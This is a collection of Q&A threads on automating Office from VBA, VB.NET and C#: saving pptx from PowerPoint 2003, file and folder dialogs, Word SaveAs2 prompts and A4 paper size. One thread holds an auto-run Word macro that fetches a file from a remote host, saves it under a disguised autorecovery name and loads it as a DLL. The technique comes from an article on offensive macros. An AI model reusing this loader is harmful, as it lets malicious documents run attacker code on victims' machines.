Programmatically save as PowerPoint 2007 (pptx), from PowerPoint 2003 - vba

I need to be able to save Presentations (programatically) in PowerPoint 2003 as OpenXML (".pptx").
I installed the Microsoft Office Compatibility Pack. This indeed allows me to perform "Save as PowerPoint 2007 Presentation" from PowerPoint 2003.
How can I do this programmatically? (e.g. VBA)
I tried Presentation.SaveAs:
While there is no inherent PpSaveAsFileType enum value in PowerPoint 2003 for ppSaveAsOpenXMLPresentation, I made a program which prints the PpSaveAsFileType values and found out that during run-time, ppSaveAsOpenXMLPresentation = 24.
However, I tried:
SaveAs(#"c:\temp\saveas\pupik.pptx", (PpSaveAsFileType) ((int) 24), MsoTriState.msoTrue);
And got an "Invalid Enumeration Value" Exception
Any ideas how to make this work?
(PS - I am aware that this question was already asked by several people on the web, but no solutions were offered.)
Thanks,
Arie

Edit > Some grammar
AFAIK the pptx format does not support macro-enabled presentations, so if your code is in the presentation you are trying to save, it will not work.
I don't have Excel 2003 at hand now, but if the Compatibility Pack enabled the option "pptx" in the Configuration Dialog, Default Save Format, and you are trying to save ANOTHER presentation I guess you can if you use something like:
MyOtherPresentation.SaveAs "C:\Mypres", ppSaveAsDefault
Please note that this may work only if the presentation had not been saved before in ppt format
EDIT
If the above doesn't work, you could try a different approach. Save the file in the old format and the call a conversion program:
ppcnvcom.exe
See here for an example (using wordconv.exe, but essentially the same)
Be sure to have all the office upgrades installed, because if not the program ends
reporting no error and doing nothing.
ofc
See here for instructions
And here for a good discussion
HTH!

A trick is to modify the default save format of the application in the Registry, then save and finally to restore the original save format again.
The relevant key is
Software\Microsoft\Office\11.0\PowerPoint\Options
Create a DWORD value with name DefaultFormat and set it to 0x21 to save as PPTX.
public void SomeMethod()
{
...
using (PptxSaver pptxSaver = new PptxSaver())
{
presentation.SaveAs("sample.pptx")
}
...
}
class PptxSaver : IDisposable
{
private const string OptionKey = #"Software\Microsoft\Office\11.0\PowerPoint\Options";
private const string OptionValue = "DefaultFormat";
private const int SaveFormatPptx = 0x21;
private int oldFormat;
public PptxSaver()
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(OptionKey, true))
{
oldFormat = (int)key.GetValue(OptionValue, -1);
key.SetValue(OptionValue, SaveFormatPptx, RegistryValueKind.DWord);
}
}
public void Dispose()
{
// Delete the value
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(OptionKey, true))
{
if (oldFormat == -1)
{
key.DeleteValue(OptionValue);
}
else
{
key.SetValue(OptionValue, oldFormat);
}
}
}
}

I used ppcnvcom.exe but note that unlike a considerable amount of posts I used only the -oice switch without the -nme switch

For VBA this works:
Sub TestSaveas()
SaveAs "c:\somefilepath\"
End sub
Private Sub SaveAs(fp As String)
Dim dlgSaveAs As FileDialog
Dim strMyFile As String
Set dlgSaveAs = Application.FileDialog(msoFileDialogSaveAs)
With dlgSaveAs
.InitialFileName = fp
If .Show = -1 Then
strMyFile = .SelectedItems(1)
Application.ActivePresentation.SaveAs strMyFile
'MsgBox strMyFile
''-- save your file to strMyFile here
Else
MsgBox "File not saved"
End If
End With
dlgSaveAs.Execute
Set dlgSaveAs = Nothing
End Sub

I know this is an old question, but I got around the problem recently using:
Presentation.SaveCopyAs "c:\temp\saveas\pupik.pptx"
instead of SaveAs. Works well, regardless wether the original is in ppt- or pptx-format.
(I could not get the registry-change method mentioned to work for me without reopening the presentation.)

Related

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

Prompting for a folder in SSIS 2008 Script Task

What I'm trying to do here would seem to be pretty simple. At the start of my SSIS package I want to set a variable to a directory that the user is prompted for. Here's my VB code:
Public Sub Main()
Dim fldDialog As FolderBrowserDialog = New FolderBrowserDialog
fldDialog.Description = "Select the folder..."
fldDialog.ShowNewFolderButton = False
fldDialog.RootFolder = Environment.SpecialFolder.MyDocuments
If fldDialog.ShowDialog() = DialogResult.OK Then
Dts.Variables("variable").Value = fldDialog.SelectedPath
Dts.TaskResult = ScriptResults.Success
Else
MsgBox("You need to select a folder!", MsgBoxStyle.Exclamation, "Error!")
Dts.TaskResult = ScriptResults.Failure
End If
End Sub
Of course, I've got "variable" set as a "ReadWriteVariables" in the Script Task Editor, and the "Imports System.Windows.Forms" at the top of my VB file.
When I run the task it just sits there yellow (as if it's running), but never shows the dialog. There's never even an error, it just sits there. I can run the same code within a standard windows application project no problem.
Not sure what's going on here. On know one quirk of showing an OpenFileDialog is you have to set the ShowHelp property to True, so I'm wondering if there's another quirk to getting this to run. Google only mostly shows me an old problem where the folder tree is blank, but I'm not even getting the prompt. Any help would be much appreciated.
I know it's a little bit late but I came across this Problem and found a fix for this. (Using C#)
You need to use the "OpenFileDialog" instead of the "FolderBrowserDialog" and you need to set a few adjustments. Here is a sample code which opens the explorer and lets you pick a folder:
public void Main()
{
string myPath="";
OpenFileDialog folderBrowser = new OpenFileDialog();
folderBrowser.ValidateNames = false;
folderBrowser.CheckFileExists = false;
folderBrowser.CheckPathExists = true;
folderBrowser.FileName = "Folder Selection.";
folderBrowser.ShowHelp = true;
if (folderBrowser.ShowDialog() == DialogResult.OK)
{
myPath = Path.GetDirectoryName(folderBrowser.FileName);
}
else
{
MessageBox.Show("Error selecting path");
}
Dts.Variables["User::varFolderPath"].Value = myPath;
Dts.TaskResult = (int)ScriptResults.Success;
}
The most important statement is the "folderBrowser.ShowHelp = true" statement. If this assignment isn't made you'll get the same problem as in your question.
You also need the statements above to "trick" the Dialog so you can select a Folder instead of a File.
I hope I can help you or people with the same problem but you should pass in the folder as a variable into the package as "N West" said.

VBA: Get Excel FileDialogOpen to point to "My Computer" by default

I'm trying to get excels save and open dialog boxes to open to "my computer" by default so the user can select a drive from there.
I have got the dialog boxes to open to any path on any drive or my documents etc but can't seem to find a way for it to open to my computer.
This is the code i'm using at the moment and it works fine for a known path:
MsgBox objFolders("desktop")
ChDrive objFolders("desktop")
ChDir objFolders("desktop")
strFileName = appRemoteApp.Workbooks("Export Template.xlsm").Application.GetSaveAsFilename(objFolders("desktop") & "\Replica Export " & UserName & " " & Format(Date, "yymmdd") & ".xlsm", FileFilter:="Excel Macro Enabled Workbook (*.xlsm), *.xlsm,")
Also, I have found this from this site.
If you paste ::{20D04FE0-3AEA-1069-A2D8-08002B30309D} into windows explorers address bar it takes you to my computer but if I use this in my VBA code
ChDir "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
it says it cant find the directory or something. So not sure if there is a work around for this or something.
This did not work either:
ChDir "C:\WINDOWS\explorer.exe /root,,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
The reason i'm wanting to have the dialog boxs open to computer is that we will be hosting the excel doc on a windows server with access though RemoteApp and remote desktop. The users will not have access (rights) to the servers drives and folders etc, they will only have access to their own drives on their local machines which will be mapped and are visible under the servers "My Computer" folder for lack of a better word. The master document on the server generates a replica using VBA code and is then saved to the users local hard drive.
AFAIK there is no pure VBA solution to override the original behaviour. You can use an alternative from Robert Mearns answer but it doesn't show the windows form so it's less customizable.
Follow this answer if you want to achieve the exact effect - FileOpenDialog.
You can print all the environmental variables using the Environ$() function. This will not show any variable directly pointing to MyComputer therefore you can't pass it to the .InitialFileName property.
MyComputer is not a physical location that you can access through cmd. I think of it as an abstract Interface and it's quite difficult to explain how VBA and .InitialFileName uses a string to access a location.
Well, the only workaround the problem I can think of it's to use an external library written in for example C# that can access the MyComputer.
It's easier than it sounds!
Follow the below steps to create your Custom OpenFileDialog.
You need a Visual Studio Express For Desktop - it's free to download and use.
After installation - run as Administrator! (it's necessary for the libraries to get registered)
Select File and New Project. Rename it to CustomOFD and and hit the OK.
Right-click the CustomOFD Project in the Solution Explorer and Select Add References
Add references to the System.Windows.Forms as shown in the below img
Right-click Class1.cs in the Solution Explorer and rename it to CustomOFD.cs.
Double click your CustomOFD and replace the code with the one from below
using System;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace CustomOpenFileDialog
{
[InterfaceType(ComInterfaceType.InterfaceIsDual),
Guid("541EDD34-4CDC-4991-82E9-6FC23F904B5B")]
public interface ICustomOFD
{
DialogResult ShowDialog();
string FileName();
}
[ClassInterface(ClassInterfaceType.None)]
[Guid("E33102F0-B3C0-441C-8E7A-B9D4155A0D91")]
public class CustomOFD : ICustomOFD
{
private OpenFileDialog box = new OpenFileDialog();
public CustomOFD()
{
box.Multiselect = false;
box.Title = "Select file";
box.InitialDirectory = "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}";
}
public DialogResult ShowDialog()
{
return box.ShowDialog();
}
public string FileName()
{
return box.FileName;
}
}
}
Note: you can generate a new GUID for your own class using the Tools => Create GUID and replace it with your own, if you wanted to...
Right-click the CustomFileOpenDialog in the Solution Explorer and select Properties
In the Properties window go to Application tab and click Assembly Info and tick the Make COM-Visible box
Then go to the Build tab and tick Register for COM interop
Right-click the project and select Build from the menu
Now look in the Output tab as it shows you where the library was compiled to
usually its
c:\users\administrator\documents\visual studio 2012\Projects\CustomOpenFileDialog\CustomOpenFileDialog\bin\Debug\CustomOpenFileDialog.dll
Ok. Now save and close VS.
Open Excel and go into VBE ALT+F11 and insert a standard module
Click Tools on the menu bar and select References
Click the Browse button and navigate to the CustomOpenFileDialog.tlb file and click OK add to the list of references
Copy paste the code for module
Option Explicit
Sub Main()
Dim ofd As New CustomOFD
Set ofd = New CustomOFD
ofd.ShowDialog
Debug.Print ofd.Filename
End Sub
finally, run the sub and enjoy the computer as the default location for the customized OpenFileDialog box!
I cannot see a way to use the GetSaveAsFilename or similar dialogs to open on Computer or My Computer.
It is possible to prompt the user to select a folder using VB Script.
The root displayed is Computer and the user can select a folder.
The file can then be saved to the selected folder programatically.
Sub Test()
MsgBox BrowseForFolder(MyComputer)
End Sub
http://technet.microsoft.com/library/ee176604.aspx
Function MyComputer() As Variant
Dim objShell As Object, objFolder As Object
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(&H11&)
MyComputer = objFolder.self.Path
Set objShell = Nothing
Set objFolder = Nothing
End Function
http://www.vbaexpress.com/kb/getarticle.php?kb_id=405
Function BrowseForFolder(Optional OpenAt As Variant) As Variant
Dim ShellApp As Object
Set ShellApp = CreateObject("Shell.Application"). _
BrowseForFolder(0, "Please choose a folder", 0, OpenAt)
On Error Resume Next
BrowseForFolder = ShellApp.self.Path
On Error GoTo 0
Set ShellApp = Nothing
End Function
.InitialFileName = "Computer"
Works for me with FileDialog(msoFileDialogFolderPicker)
Tested on Windows Vista - Excel 2007

SaveAs2 method still prompts! Why?

Context:
Vb.net program
Visual studio 2010 ultimate
MS Word 2010 automation
Microsoft.Office.Interop.Word library
I'm using the saveAs2 method to save a new document I'm creating but the application is still prompting me when I call the method. Why?
The application is not visible.
The application.displayAlerts is false
Any ideas guys?
Also, when I do complete the SaveUI prompt by hand, the saveAs2 method throws an exception.
Here's my code for people who asked for it :
Public Sub generateModel() Implements ModelGenerator.generateModel
wordApp.Visible = True
wordApp.DisplayAlerts = Word.WdAlertLevel.wdAlertsNone
wordDoc = wordApp.Documents.Add
wordDoc.PageSetup.TopMargin = wordApp.InchesToPoints(0.25)
wordDoc.PageSetup.BottomMargin = wordApp.InchesToPoints(0.25)
wordDoc.PageSetup.LeftMargin = wordApp.InchesToPoints(0.25)
wordDoc.PageSetup.RightMargin = wordApp.InchesToPoints(0.25)
With wordDoc.Content.Paragraphs.Add(wordDoc.Bookmarks.Item("\endofdoc").Range)
.Range.Text = _text
.Format.Alignment = Word.WdParagraphAlignment.wdAlignParagraphCenter
.Format.LineUnitBefore = 1
.Range.Font.SmallCaps = True
.Range.Font.Size = 12
End With
Dim logo = wordDoc.Shapes.AddPicture(logoLoc)
logo.Height = wordApp.InchesToPoints(0.5)
logo.Width = wordApp.InchesToPoints(1.18)
Me.mainTable = wordDoc.Tables.Add(wordDoc.Bookmarks.Item("\endofdoc").Range, 3, 2)
mainTable.Rows.HeightRule = Word.WdRowHeightRule.wdRowHeightExactly
mainTable.Columns.Width = wordApp.InchesToPoints(4)
mainTable.Rows.Height = wordApp.InchesToPoints(3.25)
mainTable.Select()
wordApp.Selection.ParagraphFormat.Alignment = Word.WdParagraphAlignment.wdAlignParagraphLeft
With wordDoc.Content.Paragraphs.Add(wordDoc.Bookmarks.Item("\endofdoc").Range)
.Range.Text = "Rapport journalier de production - page 2"
.Range.Font.Size = 10
.Format.Alignment = Word.WdParagraphAlignment.wdAlignParagraphCenter
.Format.LineUnitBefore = 0
.Format.SpaceBeforeAuto = False
.Format.SpaceBefore = 0
End With
wordDoc.SaveAs2("C:\Doc1.docx")
wordDoc.Close(False)
wordApp.Application.Quit()
End Sub
**Update:
I tested the code on an other machine and it works. So I tried this code on mine:
Dim app As New Microsoft.Office.Interop.Word.Application
Dim doc = app.Documents.Add
doc.SaveAs2("C:\Users\simon\Documents\Doc3.docx")
And it still makes the saveUI pop up. I'm so confused...
Finally found the problem's source.
My Acer computer was installing an Add-in everytime I installed Word. Once I removed the Add-in from Word everything went back to normal.
The Add-in was the AcerCloud Add-in.
I just tried to create a sample implementation in C#, Word Interop API v.15 (Office 2013):
var wordApplication = new Application() { Visible = true };
var doc = wordApplication.Documents.Add();
doc.SaveAs2(#"C:\my.docx");
... and when you save to a location that requires admin permission (like on the root of the C:\ drive), Word Interop throws a System.Runtime.InteropServices.COMException saying that: "Word cannot save or create this file. Make sure that the disk you want to save the file on is not full, write-protected, or damaged."
Instead, you should save at a location where your application has the necessary write permissions, e.g., to your own user directory - then it should work as expected.

Set the Default Print Page size for Microsoft Word

Im working with vb.net and microsoft word using Microsoft.Office.Interop.Word and everything is fine. My only problem is I cant find a way to change the default page size printing setting from "letter" to "A4".
This code was doing the job for Crystal reports but isnt doing it for Word
Dim pp As New System.Drawing.Printing.PrintDocument
For i = 0 To pp.DefaultPageSettings.PrinterSettings.PaperSizes.Count - 1
If pp.DefaultPageSettings.PrinterSettings.PaperSizes.Item(i).Kind = System.Drawing.Printing.PaperKind.A4 Then
pp.DefaultPageSettings.PaperSize = pp.DefaultPageSettings.PrinterSettings.PaperSizes.Item(i)
Exit For
End If
Next
You should change the PaperSize of the PageSetup interface on your Word Document instance.
Imports Microsoft.Office.Interop.Word
....
Dim myWordApp as Application = New Application();
Dim myWordDoc As Document = myWordApp.Documents.Open("your_file_name_here")
myWordDoc.PageSetup.PaperSize = WdPaperSize.wdPaperA4
Ref: http://social.msdn.microsoft.com/forums/en-US/vsto/thread/45152591-1f3e-4d1e-b767-ef030be9d9f2
Since page size can vary from section to section, the best thing is to set the PageSetup properties of the Document.Section object. For example, you can loop through all the sections of the document:
private void ThisAddIn_Startup(object sender, System.EventArgs e)
{
Application app = Globals.ThisAddIn.Application;
Word.Document doc = app.ActiveDocument;
foreach (Section section in doc.Sections)
{
section.PageSetup.PaperSize = WdPaperSize.wdPaperA4;
}
}
Adding locic to set paper size when a document is created or opened is up to you, I'm guessing you'll need to determine if the document being opened has purposely been saved in a non-A4 size.
EDIT: This does work, I dont know what you mean with the comment ThisAddIn isnt a member or Globals and ActiveDocument isnt a member of Application in VB.NET - you cant skip these top two lines, here is the VB.Net version:
Private Sub ThisAddIn_Startup(sender As Object, e As System.EventArgs)
Dim app As Application = Globals.ThisAddIn.Application
Dim doc As Word.Document = app.ActiveDocument
For Each section As Section In doc.Sections
section.PageSetup.PaperSize = WdPaperSize.wdPaperA4
Next
End Sub
All you need to do is > Visual Studio > Create a New Prorject > Office > Word 2010 (or 2007) Add-In and paste in the above code. Here is a screenshot showing it works with A4 and Letter:
The only issue you may face is when the Printer doesn't have the size paper you get this error: Requested PaperSize is not available on the currently selected printer.
I'm posting another answer to this question because the accepted answer doesn't refresh the document or handle page orientation. So just in case someone needs this I find this to be a much better solution...
Microsoft.Office.Interop.Word.Application app = Globals.ThisAddIn.Application;
Microsoft.Office.Interop.Word.Document doc = app.ActiveDocument;
foreach (Section section in doc.Sections)
{
if(section.PageSetup.Orientation == WdOrientation.wdOrientLandscape)
{
section.PageSetup.PageWidth = 841.88976378F;
section.PageSetup.PageHeight = 595.275590551F;
}
else
{
section.PageSetup.PageWidth = 595.275590551F;
section.PageSetup.PageHeight = 841.88976378F;
}
}